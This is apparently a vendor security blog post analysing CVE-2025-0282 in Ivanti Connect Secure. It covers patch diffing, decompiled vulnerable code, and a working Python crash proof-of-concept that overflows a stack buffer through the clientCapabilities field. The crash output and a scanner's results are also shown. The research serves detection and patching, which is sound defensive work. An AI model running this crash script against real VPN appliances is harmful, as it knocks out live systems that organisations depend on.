Ivanti recently released an advisory for CVE-2025-0282, a stack-based buffer overflow for Ivanti Connect Secure, Policy Secure, and ZTA Gateways that is reportedly being exploited in the wild by sophisticated threat actors. Bishop Fox analyzed the patch to develop a crash proof-of-concept (PoC) and a safe vulnerability scanner to detect vulnerable appliances.
We used pkgdiff
to identify files that changed between Connect Secure 22.7R2.3 and 22.7R2.5. Based on the pkgdiff report, we identified the /home/bin/web binary as the most likely candidate for this vulnerability. We performed a binary diff using Ghidriff, which revealed several changes in “ifttls” functionality. With the help of Google, we found that "ifttls” refers to the IF-T/TLS protocol, which is part of Ivanti’s VPN protocol. We also saw some new strings in the dispatchMessage()
function that give a strong hint about the vulnerability:
On further analysis, we identified 3 fields with newly added size limits:
The protocol implementation in OpenConnect uses the clientIp and clientHostname in the “client information” packet. This packet consists of an IF-T/TLS header followed by a textual list of key=value
pairs separated by spaces and terminated by a newline character and a null byte.
Based on our understanding, we created a Python script to send overly long values for these fields. We didn’t get a crash with an oversized clientIp
or clientHostname
, but sending a large clientCapabilities
string of 1024 A characters resulted in a segmentation fault. The following version of the script performs that attack:
import socket, ssl, struct, sys ctx=ssl._create_unverified_context() HOST=("192.168.50.208",443) def negotiate_ifttls(host): s=ctx.wrap_socket(socket.create_connection(host)) req =b'GET / HTTP/1.1\r\n' req+=f'Host: {host[0]}\r\n'.encode() req+=b'User-Agent: BishopFox\r\n' req+=b'Content-Type: EAP\r\n' req+=b'Upgrade: IF-T/TLS 1.0\r\n' req+=b'Content-Length: 0\r\n' req+=b'\r\n' s.send(req) resp=s.recv(1024) assert b'HTTP/1.1 101 Switching Protocols' in resp return s def send_ift(s, data): hdr=struct.pack(">IIII", 0xa4c, 0x88, len(data)+16, 0) s.send(hdr+data) s=negotiate_ifttls(HOST) payload=b'clientHostname=BishopFox' payload+=b' clientIp=127.0.0.1' payload+=b' clientCapabilities=' payload+=b'A'*0x400 payload+=b'\n\0' send_ift(s, payload)
Running the script resulted in the following crash due to the vulnerable code calling free()
with a corrupted pointer:
web[13952]: segfault at 4141413d ip 00000000f4f0dd1d sp 00000000ffa618a0 error 4 in libc.so.6[f4e91000+1c4000]
The following code handles the client capabilities field:
field_value = (char *)hash_table_lookup_item(parsed_params, &IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES); if (field_value == (char *)0x0) { if (ift_ctx[0x25] < 1) goto LAB_000f5156; field_length = 1; *(undefined *)ift_ctx[0x23] = 0; ift_ctx[0x24] = 0; } else { field_length = strlen(field_value); if (-1 < (int)field_length) { if (ift_ctx[0x25] <= (int)field_length) { DSStr::reserve((int)(ift_ctx + 0x23)); } memmove((void *)ift_ctx[0x23],field_value,field_length); ift_ctx[0x24] = field_length; *(undefined *)(ift_ctx[0x23] + field_length) = 0; } LAB_000f5156: field_length = ift_ctx[0x24] + 1; } memset(256_byte_buf, 0, 0x100); strncpy(256_byte_buf,(char *)ift_ctx[0x23],field_length);
[Figure 2: Client capabilities code from dispatchMessage
]
The clientCapabilities
string is parsed and stored in a buffer. This buffer is correctly resized to fit strlen(clientCapabilities)
bytes. This buffer is then strncpy’d
to a 256-byte stack buffer, using a size of strlen(clientCapabilities)+1
. Since the size field is calculated based on the length of the input, strncpy
doesn’t prevent a buffer overflow from occurring.
The clientIp
and clientHostname
use similar logic to store in the connection context, but they do not have the same strncpy
bug that clientCapabilities
parsing has. This explains why we were unable to trigger a crash with long clientIp
or clientHostname
fields.
To safely identify vulnerable targets, we needed to avoid triggering a crash. As it turns out, the messages we identified during patch diffing provide exactly what we need. Those messages are passed as an error response to the client, and they’re only present on a patched system. Since we already know that sending a long clientIp
or clientHostname
won’t crash an unpatched system, we can safely use those to trigger an error message.
With a slight modification to the crash proof of concept, we created a tool to scan for vulnerable systems.
$ ./scan-cve-2025-0282.py https://192.168.50.208
https://192.168.50.208:443: Vulnerable$ ./scan-cve-2025-0282.py https://192.168.50.135
https://192.168.50.135:443: Patched
While triggering the vulnerability is simple, exploiting it for remote code execution will require more work. The web binary is one of the few binaries on the system that is compiled with support for ASLR. We haven’t finished analyzing every change, but so far, we have not identified a memory disclosure vulnerability. Without some way to read memory, exploits may have to resort to brute forcing the base address of the binary. Either way, the existence of in-the-wild exploitation is a good reason to patch as soon as possible.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.